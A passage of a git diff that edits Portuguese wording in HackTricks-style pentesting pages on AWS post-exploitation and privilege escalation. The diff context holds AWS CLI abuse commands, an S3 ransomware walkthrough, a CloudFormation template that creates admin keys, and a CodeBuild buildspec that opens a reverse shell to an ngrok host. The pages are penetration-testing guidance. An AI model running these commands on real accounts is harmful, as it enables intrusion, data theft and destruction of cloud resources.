Esta é uma tarefa simples de alcançar, pois o código do usuário está sendo executado pelo legítimo processo **`bootstrap.py`**. Assim, o atacante poderia:
|
||||
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### Restaurar antigos snapshots de DB
|
||||
|
||||
Se o DB tiver snapshots, você pode ser capaz de **encontrar informações sensíveis atualmente deletadas em antigos snapshots**. **Restaure** o snapshot em um **novo banco de dados** e verifique.
|
||||
Se o DB tiver snapshots, você pode **encontrar informações sensíveis atualmente deletadas em antigos snapshots**. **Restaure** o snapshot em um **novo banco de dados** e verifique.
|
||||
|
||||
### Restaurar Snapshots de Instância
|
||||
|
||||
|
||||
+2
-2
@@ -12,7 +12,7 @@ Para mais informações, consulte:
|
||||
|
||||
### `rds:CreateDBSnapshot`, `rds:RestoreDBInstanceFromDBSnapshot`, `rds:ModifyDBInstance`
|
||||
|
||||
Se o atacante tiver permissões suficientes, ele poderia tornar um **DB acessível publicamente** criando um snapshot do DB e, em seguida, um DB acessível publicamente a partir do snapshot.
|
||||
Se o atacante tiver permissões suficientes, ele pode tornar um **DB acessível publicamente** criando um snapshot do DB e, em seguida, um DB acessível publicamente a partir do snapshot.
|
||||
```bash
|
||||
aws rds describe-db-instances # Get DB identifier
|
||||
|
||||
@@ -53,7 +53,7 @@ aws rds modify-db-snapshot-attribute --db-snapshot-identifier <snapshot-name> --
|
||||
```
|
||||
### `rds:DownloadDBLogFilePortion`
|
||||
|
||||
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem acidentalmente registrados, o atacante pode potencialmente usar essas informações para escalar seus privilégios ou realizar ações não autorizadas.
|
||||
Um atacante com a permissão `rds:DownloadDBLogFilePortion` pode **baixar partes dos arquivos de log de uma instância RDS**. Se dados sensíveis ou credenciais de acesso forem registrados acidentalmente, o atacante pode potencialmente usar essas informações para escalar suas permissões ou realizar ações não autorizadas.
|
||||
```bash
|
||||
aws rds download-db-log-file-portion --db-instance-identifier target-instance --log-file-name error/mysql-error-running.log --starting-token 0 --output text
|
||||
```
|
||||
|
||||
@@ -21,18 +21,18 @@ Por exemplo, **airflow** pode estar armazenando **código** de **DAGs** lá, ou
|
||||
|
||||
### Ransomware S3
|
||||
|
||||
Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Ele então torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, função ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
|
||||
Neste cenário, o **atacante cria uma chave KMS (Key Management Service) em sua própria conta AWS** ou em outra conta comprometida. Em seguida, torna essa **chave acessível a qualquer pessoa no mundo**, permitindo que qualquer usuário, função ou conta AWS criptografe objetos usando essa chave. No entanto, os objetos não podem ser descriptografados.
|
||||
|
||||
O atacante identifica um **bucket S3 alvo e ganha acesso de nível de escrita** a ele usando vários métodos. Isso pode ser devido a uma configuração de bucket inadequada que o expõe publicamente ou o atacante ganhando acesso ao próprio ambiente AWS. O atacante geralmente visa buckets que contêm informações sensíveis, como informações pessoalmente identificáveis (PII), informações de saúde protegidas (PHI), logs, backups e mais.
|
||||
O atacante identifica um **bucket S3 alvo e ganha acesso de nível de escrita** a ele usando vários métodos. Isso pode ser devido a uma configuração inadequada do bucket que o expõe publicamente ou o atacante ganhando acesso ao próprio ambiente AWS. O atacante geralmente visa buckets que contêm informações sensíveis, como informações pessoalmente identificáveis (PII), informações de saúde protegidas (PHI), logs, backups e mais.
|
||||
|
||||
Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **a exclusão de autenticação multifatorial (MFA delete) está habilitada**. Se a versão de objeto não estiver habilitada, o atacante pode prosseguir. Se a versão de objeto estiver habilitada, mas a exclusão MFA estiver desabilitada, o atacante pode **desabilitar a versão de objeto**. Se tanto a versão de objeto quanto a exclusão MFA estiverem habilitadas, torna-se mais difícil para o atacante aplicar ransomware a esse bucket específico.
|
||||
Para determinar se o bucket pode ser alvo de ransomware, o atacante verifica sua configuração. Isso inclui verificar se **S3 Object Versioning** está habilitado e se **a exclusão de autenticação multifatorial (MFA delete) está habilitada**. Se a versão de objeto não estiver habilitada, o atacante pode prosseguir. Se a versão de objeto estiver habilitada, mas a exclusão MFA estiver desabilitada, o atacante pode **desabilitar a versão de objeto**. Se tanto a versão de objeto quanto a exclusão MFA estiverem habilitadas, torna-se mais difícil para o atacante aplicar ransomware naquele bucket específico.
|
||||
|
||||
Usando a API da AWS, o atacante **substitui cada objeto no bucket por uma cópia criptografada usando sua chave KMS**. Isso efetivamente criptografa os dados no bucket, tornando-os inacessíveis sem a chave.
|
||||
|
||||
Para aumentar a pressão, o atacante agenda a exclusão da chave KMS usada no ataque. Isso dá ao alvo uma janela de 7 dias para recuperar seus dados antes que a chave seja excluída e os dados se tornem permanentemente perdidos.
|
||||
|
||||
Finalmente, o atacante pode fazer o upload de um arquivo final, geralmente chamado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
|
||||
Finalmente, o atacante pode fazer o upload de um arquivo final, geralmente nomeado "ransom-note.txt", que contém instruções para o alvo sobre como recuperar seus arquivos. Este arquivo é enviado sem criptografia, provavelmente para chamar a atenção do alvo e torná-lo ciente do ataque de ransomware.
|
||||
|
||||
**Para mais informações** [**verifique a pesquisa original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
**Para mais informações** [**consulte a pesquisa original**](https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/)**.**
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+2
-2
@@ -1,4 +1,4 @@
|
||||
# AWS - Pós Exploração do Secrets Manager
|
||||
# AWS - Secrets Manager Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -32,7 +32,7 @@ aws secretsmanager update-secret \
|
||||
--secret-id MyTestSecret \
|
||||
--kms-key-id arn:aws:kms:us-west-2:123456789012:key/EXAMPLE1-90ab-cdef-fedc-ba987EXAMPLE
|
||||
```
|
||||
### DoS Deleting Secret
|
||||
### DoS Deletando Segredo
|
||||
|
||||
O número mínimo de dias para deletar um segredo é 7
|
||||
```bash
|
||||
|
||||
+3
-3
@@ -17,7 +17,7 @@ Enviar um e-mail.
|
||||
aws ses send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
aws sesv2 send-email --from sender@example.com --destination file://emails.json --message file://message.json
|
||||
```
|
||||
Ainda a ser testado.
|
||||
Ainda a testar.
|
||||
|
||||
### `ses:SendRawEmail`
|
||||
|
||||
@@ -33,7 +33,7 @@ Envie um email com base em um modelo.
|
||||
```bash
|
||||
aws ses send-templated-email --source <value> --destination <value> --template <value>
|
||||
```
|
||||
Ainda a ser testado.
|
||||
Ainda a testar.
|
||||
|
||||
### `ses:SendBulkTemplatedEmail`
|
||||
|
||||
@@ -59,7 +59,7 @@ Ainda a ser testado.
|
||||
|
||||
### `ses:SendCustomVerificationEmail`
|
||||
|
||||
Isso enviará um e-mail de verificação personalizado. Você pode precisar de permissões também para criar o e-mail modelo.
|
||||
Isso enviará um e-mail de verificação personalizado. Você pode precisar de permissões também para criar o e-mail de modelo.
|
||||
```bash
|
||||
aws ses send-custom-verification-email --email-address <value> --template-name <value>
|
||||
aws sesv2 send-custom-verification-email --email-address <value> --template-name <value>
|
||||
|
||||
+6
-6
@@ -1,4 +1,4 @@
|
||||
# AWS - SNS Pós-Exploração
|
||||
# AWS - SNS Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -12,7 +12,7 @@ Para mais informações:
|
||||
|
||||
### Interromper Mensagens
|
||||
|
||||
Em vários casos, os tópicos SNS são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer indetectável.
|
||||
Em vários casos, os tópicos SNS são usados para enviar mensagens para plataformas que estão sendo monitoradas (e-mails, mensagens do slack...). Se um atacante impedir o envio das mensagens que alertam sobre sua presença na nuvem, ele pode permanecer indetectado.
|
||||
|
||||
### `sns:DeleteTopic`
|
||||
|
||||
@@ -20,7 +20,7 @@ Um atacante poderia deletar um tópico SNS inteiro, causando perda de mensagens
|
||||
```bash
|
||||
aws sns delete-topic --topic-arn <value>
|
||||
```
|
||||
**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicativos que utilizam o tópico excluído.
|
||||
**Impacto Potencial**: Perda de mensagens e interrupção do serviço para aplicações que utilizam o tópico excluído.
|
||||
|
||||
### `sns:Publish`
|
||||
|
||||
@@ -36,9 +36,9 @@ Um atacante poderia modificar os atributos de um tópico SNS, potencialmente afe
|
||||
```bash
|
||||
aws sns set-topic-attributes --topic-arn <value> --attribute-name <value> --attribute-value <value>
|
||||
```
|
||||
**Impacto Potencial**: Configurações incorretas levando a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
|
||||
**Impacto Potencial**: Erros de configuração que levam a desempenho degradado, problemas de segurança ou disponibilidade reduzida.
|
||||
|
||||
### `sns:Subscribe` , `sns:Unsubscribe`
|
||||
### `sns:Subscribe`, `sns:Unsubscribe`
|
||||
|
||||
Um atacante poderia se inscrever ou cancelar a inscrição em um tópico SNS, potencialmente ganhando acesso não autorizado a mensagens ou interrompendo o funcionamento normal de aplicativos que dependem do tópico.
|
||||
```bash
|
||||
@@ -47,7 +47,7 @@ aws sns unsubscribe --subscription-arn <value>
|
||||
```
|
||||
**Impacto Potencial**: Acesso não autorizado a mensagens, interrupção do serviço para aplicações que dependem do tópico afetado.
|
||||
|
||||
### `sns:AddPermission` , `sns:RemovePermission`
|
||||
### `sns:AddPermission`, `sns:RemovePermission`
|
||||
|
||||
Um atacante poderia conceder acesso a usuários ou serviços não autorizados a um tópico SNS, ou revogar permissões para usuários legítimos, causando interrupções no funcionamento normal de aplicações que dependem do tópico.
|
||||
```css
|
||||
|
||||
+1
-1
@@ -17,7 +17,7 @@ Um atacante poderia enviar mensagens maliciosas ou indesejadas para a fila SQS,
|
||||
aws sqs send-message --queue-url <value> --message-body <value>
|
||||
aws sqs send-message-batch --queue-url <value> --entries <value>
|
||||
```
|
||||
**Impacto Potencial**: Exploração de vulnerabilidades, Corrupção de dados, ações não intencionais ou exaustão de recursos.
|
||||
**Impacto Potencial**: Exploração de vulnerabilidades, corrupção de dados, ações não intencionais ou exaustão de recursos.
|
||||
|
||||
### `sqs:ReceiveMessage`, `sqs:DeleteMessage`, `sqs:ChangeMessageVisibility`
|
||||
|
||||
|
||||
+2
-2
@@ -1,8 +1,8 @@
|
||||
# AWS - SSO & identitystore Pós Exploração
|
||||
# AWS - SSO e identitystore Pós Exploração
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
## SSO & identitystore
|
||||
## SSO e identitystore
|
||||
|
||||
Para mais informações, consulte:
|
||||
|
||||
|
||||
+1
-1
@@ -45,7 +45,7 @@ aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value
|
||||
|
||||
### `states:StopExecution`
|
||||
|
||||
Um atacante com esta permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
|
||||
Um atacante com essa permissão poderia ser capaz de parar a execução de qualquer máquina de estado, interrompendo fluxos de trabalho e processos em andamento. Isso poderia levar a transações incompletas, operações comerciais paralisadas e potencial corrupção de dados.
|
||||
|
||||
> [!WARNING]
|
||||
> Esta ação não é suportada por **máquinas de estado expressas**.
|
||||
|
||||
+4
-5
@@ -13,11 +13,11 @@ Para mais informações:
|
||||
### De Credenciais IAM para Console
|
||||
|
||||
Se você conseguiu obter algumas credenciais IAM, pode estar interessado em **acessar o console da web** usando as seguintes ferramentas.\
|
||||
Note que o usuário/papel deve ter a permissão **`sts:GetFederationToken`**.
|
||||
Observe que o usuário/role deve ter a permissão **`sts:GetFederationToken`**.
|
||||
|
||||
#### Script personalizado
|
||||
|
||||
O seguinte script usará o perfil padrão e uma localização padrão da AWS (não gov e não cn) para lhe fornecer uma URL assinada que você pode usar para fazer login no console da web:
|
||||
O seguinte script usará o perfil padrão e uma localização padrão da AWS (não gov e não cn) para fornecer uma URL assinada que você pode usar para fazer login no console da web:
|
||||
```bash
|
||||
# Get federated creds (you must indicate a policy or they won't have any perms)
|
||||
## Even if you don't have Admin access you can indicate that policy to make sure you get all your privileges
|
||||
@@ -50,7 +50,6 @@ resp=$(curl -s "$federation_endpoint" \
|
||||
signin_token=$(echo -n $resp | jq -r '.SigninToken' | tr -d '\n' | jq -sRr @uri)
|
||||
|
||||
|
||||
|
||||
# Give the URL to login
|
||||
echo -n "https://signin.aws.amazon.com/federation?Action=login&Issuer=example.com&Destination=https%3A%2F%2Fconsole.aws.amazon.com%2F&SigninToken=$signin_token"
|
||||
```
|
||||
@@ -65,7 +64,7 @@ pip install aws-consoler
|
||||
aws_consoler [params...] #This will generate a link to login into the console
|
||||
```
|
||||
> [!WARNING]
|
||||
> Certifique-se de que o usuário IAM tenha permissão `sts:GetFederationToken`, ou forneça uma função para assumir.
|
||||
> Certifique-se de que o usuário IAM tenha permissão `sts:GetFederationToken`, ou forneça um papel para assumir.
|
||||
|
||||
#### aws-vault
|
||||
|
||||
@@ -80,7 +79,7 @@ aws-vault login jonsmith # Open a browser logged as jonsmith
|
||||
|
||||
### **Contornar restrições de User-Agent do Python**
|
||||
|
||||
Se houver uma **restrição para realizar certas ações com base no user agent** usado (como restringir o uso da biblioteca python boto3 com base no user agent), é possível usar a técnica anterior para **conectar-se ao console da web via um navegador**, ou você pode diretamente **modificar o user-agent do boto3** fazendo:
|
||||
Se houver uma **restrição para realizar certas ações com base no user agent** usado (como restringir o uso da biblioteca python boto3 com base no user agent), é possível usar a técnica anterior para **conectar-se ao console da web via um navegador**, ou você pode **modificar diretamente o user-agent do boto3** fazendo:
|
||||
```bash
|
||||
# Shared by ex16x41
|
||||
# Create a client
|
||||
|
||||
+2
-2
@@ -29,7 +29,7 @@ aws --region <region> apigateway get-api-key --api-key <key> --include-value
|
||||
|
||||
### `apigateway:UpdateRestApiPolicy`, `apigateway:PATCH`
|
||||
|
||||
Com essas permissões, é possível modificar a política de recursos de uma API para se dar acesso a chamá-la e abusar do acesso potencial que o API gateway pode ter (como invocar um lambda vulnerável).
|
||||
Com essas permissões, é possível modificar a política de recursos de uma API para se dar acesso a chamá-la e abusar do acesso potencial que o API gateway pode ter (como invocar uma lambda vulnerável).
|
||||
```bash
|
||||
aws apigateway update-rest-api \
|
||||
--rest-api-id api-id \
|
||||
@@ -39,7 +39,7 @@ aws apigateway update-rest-api \
|
||||
|
||||
### `apigateway:PutIntegration`, `apigateway:CreateDeployment`, `iam:PassRole`
|
||||
|
||||
> [!NOTE]
|
||||
> [!NOTA]
|
||||
> Necessita de teste
|
||||
|
||||
Um atacante com as permissões `apigateway:PutIntegration`, `apigateway:CreateDeployment` e `iam:PassRole` pode **adicionar uma nova integração a uma API Gateway REST API existente com uma função Lambda que tem um papel IAM anexado**. O atacante pode então **disparar a função Lambda para executar código arbitrário e potencialmente obter acesso aos recursos associados ao papel IAM**.
|
||||
|
||||
+3
-3
@@ -24,11 +24,11 @@ Na página seguinte, você tem um **exemplo de exploração** com a permissão a
|
||||
iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md
|
||||
{{#endref}}
|
||||
|
||||
**Impacto Potencial:** Privesc para o papel de serviço cloudformation especificado.
|
||||
**Impacto Potencial:** Privesc para o papel de serviço do cloudformation especificado.
|
||||
|
||||
### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`)
|
||||
|
||||
Neste caso, você pode **abusar de uma pilha cloudformation existente** para atualizá-la e escalar privilégios como no cenário anterior:
|
||||
Neste caso, você pode **abusar de uma pilha de cloudformation existente** para atualizá-la e escalar privilégios como no cenário anterior:
|
||||
```bash
|
||||
aws cloudformation update-stack \
|
||||
--stack-name privesc \
|
||||
@@ -53,7 +53,7 @@ A permissão `cloudformation:SetStackPolicy` pode ser usada para **dar a si mesm
|
||||
|
||||
Um atacante com permissões para **passar um papel e criar & executar um ChangeSet** pode **criar/atualizar uma nova pilha do cloudformation e abusar dos papéis de serviço do cloudformation** assim como com o CreateStack ou UpdateStack.
|
||||
|
||||
A seguinte exploração é uma **variação do**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha.
|
||||
A seguinte exploração é uma **variação da**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) usando as **permissões ChangeSet** para criar uma pilha.
|
||||
```bash
|
||||
aws cloudformation create-change-set \
|
||||
--stack-name privesc \
|
||||
|
||||
+2
-2
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Um atacante poderia, por exemplo, usar um **template de cloudformation** que gera **chaves para um usuário admin** como:
|
||||
Um atacante poderia, por exemplo, usar um **cloudformation template** que gera **chaves para um usuário admin** como:
|
||||
```json
|
||||
{
|
||||
"Resources": {
|
||||
@@ -55,7 +55,7 @@ Um atacante poderia, por exemplo, usar um **template de cloudformation** que ger
|
||||
}
|
||||
}
|
||||
```
|
||||
Então **gere a pilha do cloudformation**:
|
||||
Então **gerar a pilha do cloudformation**:
|
||||
```bash
|
||||
aws cloudformation create-stack --stack-name privesc \
|
||||
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
|
||||
|
||||
@@ -12,7 +12,7 @@ Obtenha mais informações em:
|
||||
|
||||
### `codebuild:StartBuild` | `codebuild:StartBuildBatch`
|
||||
|
||||
Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token da função iam atribuída ao projeto:
|
||||
Apenas com uma dessas permissões é suficiente para acionar uma construção com um novo buildspec e roubar o token do papel iam atribuído ao projeto:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="StartBuild" }}
|
||||
@@ -114,7 +114,7 @@ aws codebuild delete-project --name codebuild-demo-project
|
||||
```
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Exemplo2" }}
|
||||
{{#tab name="Example2" }}
|
||||
```bash
|
||||
# Generated by AI, not tested
|
||||
# Create a buildspec.yml file with reverse shell command
|
||||
@@ -289,9 +289,9 @@ Para mais informações [**verifique a documentação**](https://docs.aws.amazon
|
||||
|
||||
### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject`
|
||||
|
||||
Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de gravação, pode obter execução de comandos no processo do CodeBuild.
|
||||
Um atacante capaz de iniciar/reiniciar uma build de um projeto específico do CodeBuild que armazena seu arquivo `buildspec.yml` em um bucket S3 ao qual o atacante tem acesso de escrita, pode obter execução de comandos no processo do CodeBuild.
|
||||
|
||||
Nota: a elevação de privilégios é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, idealmente mais privilegiado, do que o do atacante.
|
||||
Nota: a escalada é relevante apenas se o trabalhador do CodeBuild tiver um papel diferente, idealmente mais privilegiado, do que o do atacante.
|
||||
```bash
|
||||
aws s3 cp s3://<build-configuration-files-bucket>/buildspec.yml ./
|
||||
|
||||
@@ -308,7 +308,7 @@ aws codebuild start-build --project-name <project-name>
|
||||
|
||||
# Wait for the reverse shell :)
|
||||
```
|
||||
Você pode usar algo como este **buildspec** para obter um **reverse shell**:
|
||||
Você pode usar algo como isso **buildspec** para obter um **reverse shell**:
|
||||
```yaml:buildspec.yml
|
||||
version: 0.2
|
||||
|
||||
@@ -317,13 +317,13 @@ build:
|
||||
commands:
|
||||
- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1
|
||||
```
|
||||
**Impacto:** Privesc direto para a função usada pelo trabalhador do AWS CodeBuild que geralmente possui altos privilégios.
|
||||
**Impacto:** Privesc direto para o papel usado pelo trabalhador do AWS CodeBuild que geralmente tem altos privilégios.
|
||||
|
||||
> [!WARNING]
|
||||
> Note que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload
|
||||
> Note que o buildspec pode ser esperado em formato zip, então um atacante precisaria baixar, descompactar, modificar o `buildspec.yml` do diretório raiz, compactar novamente e fazer o upload.
|
||||
|
||||
Mais detalhes podem ser encontrados [aqui](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/).
|
||||
|
||||
**Impacto Potencial:** Privesc direto para funções do AWS Codebuild anexadas.
|
||||
**Impacto Potencial:** Privesc direto para os papéis do AWS Codebuild anexados.
|
||||
|
||||
{{#include ../../../banners/hacktricks-training.md}}
|
||||
|
||||
+1
-1
@@ -12,7 +12,7 @@ Para mais informações sobre codepipeline, consulte:
|
||||
|
||||
### `iam:PassRole`, `codepipeline:CreatePipeline`, `codebuild:CreateProject, codepipeline:StartPipelineExecution`
|
||||
|
||||
Ao criar um pipeline de código, você pode indicar um **IAM Role do codepipeline para executar**, portanto, você poderia comprometê-los.
|
||||
Ao criar um code pipeline, você pode indicar um **IAM Role do codepipeline para executar**, portanto, você poderia comprometê-los.
|
||||
|
||||
Além das permissões anteriores, você precisaria de **acesso ao local onde o código está armazenado** (S3, ECR, github, bitbucket...)
|
||||
|
||||
|
||||
+1
-1
@@ -55,7 +55,7 @@ codestar-createproject-codestar-associateteammember.md
|
||||
- Este acesso visa especificamente uma pilha associada ao papel IAM `CodeStarWorker-<nome do projeto genérico>-CloudFormation`.
|
||||
2. **Atualizar a Pilha Alvo:**
|
||||
- Com as permissões do CloudFormation concedidas, prossiga para atualizar a pilha especificada.
|
||||
- O nome da pilha geralmente seguirá um dos dois padrões:
|
||||
- O nome da pilha geralmente se conforma a um dos dois padrões:
|
||||
- `awscodestar-<nome do projeto genérico>-infrastructure`
|
||||
- `awscodestar-<nome do projeto genérico>-lambda`
|
||||
- O nome exato depende do modelo escolhido (referenciando o script de exploração de exemplo).
|
||||
|
||||
+1
-1
@@ -2,7 +2,7 @@
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
Esta é a política criada que o usuário pode escalar privilégios para (o nome do projeto era `supercodestar`):
|
||||
Esta é a política criada à qual o usuário pode escalar privilégios (o nome do projeto era `supercodestar`):
|
||||
```json
|
||||
{
|
||||
"Version": "2012-10-17",
|
||||
|
||||
+3
-3
@@ -28,13 +28,13 @@ Para explorar isso, você precisa criar um **bucket S3 que seja acessível** a p
|
||||
}
|
||||
}
|
||||
```
|
||||
Também **faça o upload** deste arquivo `empty zip` para o **bucket**:
|
||||
Também **envie** este arquivo `empty zip` para o **bucket**:
|
||||
|
||||
{% file src="../../../../images/empty.zip" %}
|
||||
|
||||
Lembre-se de que o **bucket com ambos os arquivos deve ser acessível pela conta da vítima**.
|
||||
|
||||
Com ambas as coisas carregadas, você pode agora prosseguir para a **exploitation** criando um projeto **codestar**:
|
||||
Com ambas as coisas enviadas, você pode agora prosseguir para a **exploitação** criando um projeto **codestar**:
|
||||
```bash
|
||||
PROJECT_NAME="supercodestar"
|
||||
|
||||
@@ -79,6 +79,6 @@ aws codestar create-project \
|
||||
--source-code file://$SOURCE_CODE_PATH \
|
||||
--toolchain file://$TOOLCHAIN_PATH
|
||||
```
|
||||
Este exploit é baseado no **exploit Pacu dessas permissões**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Nele você pode encontrar uma variação para criar uma política gerenciada de administrador para um papel em vez de para um usuário.
|
||||
Este exploit é baseado no **exploit Pacu desses privilégios**: [https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam\_\_privesc_scan/main.py#L1997](https://github.com/RhinoSecurityLabs/pacu/blob/2a0ce01f075541f7ccd9c44fcfc967cad994f9c9/pacu/modules/iam__privesc_scan/main.py#L1997) Nele você pode encontrar uma variação para criar uma política gerenciada de administrador para um papel em vez de para um usuário.
|
||||
|
||||
{{#include ../../../../banners/hacktricks-training.md}}
|
||||
|
||||
@@ -20,7 +20,7 @@ Para mais informações [**verifique esta página**](../aws-unauthenticated-enum
|
||||
|
||||
### `cognito-identity:SetIdentityPoolRoles`, `iam:PassRole`
|
||||
|
||||
Com esta permissão, você pode **conceder qualquer função do cognito** aos usuários autenticados/não autenticados do aplicativo cognito.
|
||||
Com esta permissão, você pode **conceder qualquer função cognito** aos usuários autenticados/não autenticados do aplicativo cognito.
|
||||
```bash
|
||||
aws cognito-identity set-identity-pool-roles \
|
||||
--identity-pool-id <identity_pool_id> \
|
||||
@@ -61,7 +61,7 @@ aws cognito-identity get-credentials-for-identity \
|
||||
--identity-id <identity_id> \
|
||||
--logins cognito-idp.<region>.amazonaws.com/<YOUR_USER_POOL_ID>=<ID_TOKEN>
|
||||
```
|
||||
É também possível **abusar dessa permissão para permitir autenticação básica**:
|
||||
Também é possível **abusar dessa permissão para permitir autenticação básica**:
|
||||
```bash
|
||||
aws cognito-identity update-identity-pool \
|
||||
--identity-pool-id <value> \
|
||||
@@ -80,11 +80,11 @@ aws cognito-idp admin-add-user-to-group \
|
||||
--username <value> \
|
||||
--group-name <value>
|
||||
```
|
||||
**Impacto Potencial:** Privesc para outros grupos Cognito e funções IAM anexadas a Grupos de Pool de Usuários.
|
||||
**Impacto Potencial:** Privesc para outros grupos Cognito e funções IAM anexadas a Grupos de User Pool.
|
||||
|
||||
### (`cognito-idp:CreateGroup` | `cognito-idp:UpdateGroup`), `iam:PassRole`
|
||||
|
||||
Um atacante com essas permissões poderia **criar/atualizar grupos** com **todas as funções IAM que podem ser usadas por um Provedor de Identidade Cognito comprometido** e fazer um usuário comprometido parte do grupo, acessando todas essas funções:
|
||||
Um atacante com essas permissões poderia **criar/atualizar grupos** com **todas as funções IAM que podem ser usadas por um Provedor de Identidade Cognito comprometido** e tornar um usuário comprometido parte do grupo, acessando todas essas funções:
|
||||
```bash
|
||||
aws cognito-idp create-group --group-name Hacked --user-pool-id <user-pool-id> --role-arn <role-arn>
|
||||
```
|
||||
@@ -164,7 +164,7 @@ aws cognito-idp set-user-pool-mfa-config \
|
||||
[--software-token-mfa-configuration <value>] \
|
||||
[--mfa-configuration <value>]
|
||||
```
|
||||
**UpdateUserPool:** Também é possível atualizar o pool de usuários para alterar a política de MFA. [Verifique o cli aqui](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
**UpdateUserPool:** Também é possível atualizar o pool de usuários para alterar a política de MFA. [Check cli here](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool.html).
|
||||
|
||||
**Potential Impact:** Privesc indireto para potencialmente qualquer usuário cujas credenciais o atacante conhece, isso poderia permitir contornar a proteção de MFA.
|
||||
|
||||
@@ -182,11 +182,11 @@ aws cognito-idp admin-update-user-attributes \
|
||||
|
||||
### `cognito-idp:CreateUserPoolClient` | `cognito-idp:UpdateUserPoolClient`
|
||||
|
||||
Um atacante com esta permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo cliente poderia permitir qualquer tipo de método de autenticação, não ter nenhum segredo, ter a revogação de tokens desativada, permitir que os tokens sejam válidos por um período mais longo...
|
||||
Um atacante com essa permissão poderia **criar um novo User Pool Client menos restrito** do que os clientes de pool já existentes. Por exemplo, o novo cliente poderia permitir qualquer tipo de método para autenticar, não ter nenhum segredo, ter a revogação de token desativada, permitir que os tokens sejam válidos por um período mais longo...
|
||||
|
||||
O mesmo pode ser feito se, em vez de criar um novo cliente, um **existente for modificado**.
|
||||
|
||||
Na [**linha de comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou no [**atualizar um**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira!
|
||||
Na [**linha de comando**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/create-user-pool-client.html) (ou o [**atualizar um**](https://docs.aws.amazon.com/cli/latest/reference/cognito-idp/update-user-pool-client.html)) você pode ver todas as opções, confira!
|
||||
```bash
|
||||
aws cognito-idp create-user-pool-client \
|
||||
--user-pool-id <value> \
|
||||
@@ -214,7 +214,7 @@ aws cognito-idp start-user-import-job \
|
||||
curl -v -T "PATH_TO_CSV_FILE" \
|
||||
-H "x-amz-server-side-encryption:aws:kms" "PRE_SIGNED_URL"
|
||||
```
|
||||
(No caso em que você cria um novo trabalho de importação, você também pode precisar da permissão iam passrole, ainda não testei isso).
|
||||
(No caso em que você cria um novo trabalho de importação, pode ser necessário a permissão iam passrole, ainda não testei isso).
|
||||
|
||||
**Impacto Potencial:** Privesc direto para o papel IAM do pool de identidade para usuários autenticados. Privesc indireto para outras funcionalidades do aplicativo, podendo criar qualquer usuário.
|
||||
|
||||
@@ -232,7 +232,7 @@ aws cognito-idp create-identity-provider \
|
||||
```
|
||||
